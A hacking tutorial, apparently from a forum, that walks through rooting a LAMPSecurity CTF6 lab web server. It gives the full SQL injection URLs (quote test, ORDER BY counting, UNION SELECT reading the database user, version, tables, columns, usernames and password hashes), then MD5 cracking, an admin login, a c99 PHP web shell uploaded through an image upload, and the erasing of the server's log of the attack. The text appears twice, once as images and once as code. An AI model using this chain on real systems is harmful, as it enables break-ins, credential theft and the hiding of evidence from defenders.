Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u2wiv6kNMuJszHmgkfCd0-vROQaiRy7RvNFZ7lvqLpEEWKObwWby2AAJG8ts7ldMDfROPLqUrY7fKBfyDbjsbf0IHVbhgWHo_j9LOsYoJz6-xbJpjYuscsyEs5Tj-hQ-RncZrrRgbIy7CDe3kr1MXJAZn6n4fHyaKoW3Ov6MIPTnEi=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tDuhCNnr31E01pab8zMVajrC5HEeftjmFua3KW-LTgpDm5FRug-BsqTuruKpDHIkTWX0APzBBaoY4zD0fvfRnsicTWvQbKufatiEUqwOmsSfoQ4naqgiOUe2NFJuwR1d_evB8CV_pEQcgCw750gwlT-2fCLq_YRhtdn5QVVsxLdDilWw=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sCLRpwrRr_qNxMpOzPlwj5Vg7QA6qCoa5UnhxJVNoKTVkMpqt4HNqiV5CyDKvxtkUChUSToA479ff26o4Mzb2QWnPat8hAzOlxyPs9EMBu8k1GZB3yC772c3VYGzaaT7U-3H6MHB6kDq0DN0iXAoVYp8GA-uA-1fP7QDGBYj4JIoVgVg=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tpWc_82fOJb2hnJFUYcRJ2c-j3o0aLtE9K2zHpZhD2Q47Rif8jBy3TOXBi5aWHu11wAMYSoKFXmeRWlQgqJaUc8k6Df4MkdHbYKrIhO3dcsdp8LaQiTbNluROKkR1EwLgw4hJCzTUtWXYMvSu2VMFW5CPp5VA62NsbRW-qgJoRtTJx0Q=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u26Lw-mR2nzvYDXAajbNdjU5lYCbBpgdzzIiLe9cPVsSfrtpZHw-ThOuZvEMBI0ge2oPZ35BQ-YGlsm6rEWb867KkXHWGm_8nYtPn9cnKp9A8B5D2MiIpziIntbECZefxEmXa5kpWzM10WZ8TvlLKEyvJwieX18R7t0zRroTLYslaWmQ=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sZK98W1TtT6P_Ct9-RRfwF1RC4fl9D6FVeQ1DN4lW0dmEFXF_j1QfT5N6K2LcfW7k4cpLBr9KMAsCwWDzh882vxMlcen-ABMjY93BXrCTjD5CQkYnScr3lrR7b1PSmqt0APHYmDWxYGRZ21UG4fmSd83H-vFaELuPbNezWF3in4Ga-=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vzah98RNczI95n1CYyBetQY-PIe9UxdjeKam9OSTtaYF6ZNBn2ey35uMZC2rKaeErRYv2vtpTw-gJAD_SSJ6gEYKguhfPmUWk96JsnwUwWwNo6L2jYfUuSHd5drAuHtHGBB_4b6macwz4gyMRDNqQy1s2gsP15Z0pASq8WsD2z1FgKLL4=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sHc7dIrBAaZFlwq884CuN37zo0d3sXBQV_m7mrO0bIdK4IT3vdM4QJaBXfWrOttHX3uKRvmSo8WlC7VIcOAwBgLopV18GDz5WV83Fd5DyokDIjPJurr9o7rZQcEJWzajBmSlzeLmMtfz5OGbbcpFv3MaKeanmI7T92U1aA8TWAV8v5xmM=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_slc3eZ1u0VquFJj5bvGXUfYj5Tjn9mgKliGNH6T02Ogh1s9-15GXXiPJykao6AxZbCeUyO5NKqrleo4Jrkfe4C2kFmhjX0Vf3gR4HpK2AIgyFk2iLXKEXsXzRbUBG44y2rv5aDMsAKD7OCr9N-ayCzHUg8MF8dOzyWtyeNY2dvKoOb3IY=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v749x70O6qGLkpjTHCO3o1wRjU5Adt7eVJOww6BFnvSNWQElaa-FWnOk7Fk9p1RBNob1uGhqbnv-88C_ob67NXAei62N3DLALXDGZUROmu_O1Yqr70_10czGgq7rzijnegMIXCLm6VsMot-Bo-SMFx9TK-lLreDnRJYazqqLf1TLOFcwo=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vCKLhdb_EpeXCbrGH7-sU6Tn7JVuZOiI5KEH9dYaRwV34jDbrC-WCJQIsvEwhliHrlrH2rs328ABosOetiC9GOUGxsXrJAKcfEIpFzp1wP5ORcdf9SQ1q8TT9imsIxCEg5UzSAKZZy7xX63pm2C6nFx7nCAHq4IV7V8k8qkTEgGhSk6Q=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u6deDHP8ZNWlngcdD_iFjveEUXEliKd55z5KiWbOC4DzZu62VlLJCrSacKUr5uki6Z7_rJUtW91qI_eIFx0FEmrz699rOxq0TqcPPnsdNw644gCL__4m35lP2FbbcX92YzD5VNwHdWWHWVzDvQLq9NGOm6n1VQVt28K9TdEpOjs5q5bRA=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s0U977U-m8zGUUiYoY5oF0jRokYecJdm_xLsYbYKdpRkCbp-ZQbA0nbRv1zWtB_gNKdcw2BVAxcVAdfyx2A7Kg4HqDWBLWuIIYYeqVYi0eaLuYZm_73Hcw8BhRE50YAj7gPqT9zG7nw8JfLMjpcKaJ5q5ZR_zJuBK9bR0XuOi_iFpuyvU=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ueemY9B-U-m6eYX_pbLX2HNq5avTrKocxu55npjRJMf2j9mg0EI9NcajW3oUEFwAdcwZxsn0vv0rsEqzHZLV6ey8Z-TLsEn3ztv5gJsltxtGt2vmfUYOpG9oSXbPasHWwmyeoZB2ezT9zsYuPsibNoLQK9CEpdXt01yh45YI6ISrtAuA=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u5bT8xlAm7hJFCdd0MGzAXqKvz9muMzksBDaoZbRDTwGMgk17LsRpJurkU5e3YGbcj6KAtP6Ru79pLYMoZlBySVNRPzDe24AtDA2JSfiC4WMT717lmMyQqsk3HfT2gJl8j7LbFCGKmmMVmirz46PRDbbJIJurhtcrZvVnQ22TsCCbs3A=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tic5Qfk2cdAC95vw1ftCJZwQWqMJNf_XQ6gSVorv_LHT6QBVgm5UrGi-vhvOeuqZI74x0dqL_MkNBrYjK7D2M8oDZ6psFqTGWaJABlZ4ucahch7dUeoBrzwpF_6qPkl-psZbMfmHL-gICK0mALLNH0J2ZpQoT5zfXhn-xRGc-cprGJDGY=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uYM2xu4cox73ZkK3KRON9iRLNTlr4pkV7G6pwcerSmvoes6SehVWhECKUkNSsm2pajqlukkxgN-SIMN-_uEn1yTQDuCUlmknd-j8moc0DtlDi0z-AqvVFgUYcWqwt6ww744YQKWRc8xJtKG9xRU3kh2UD4oQOqjwnSD0pYVhVTEXFN-vI=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
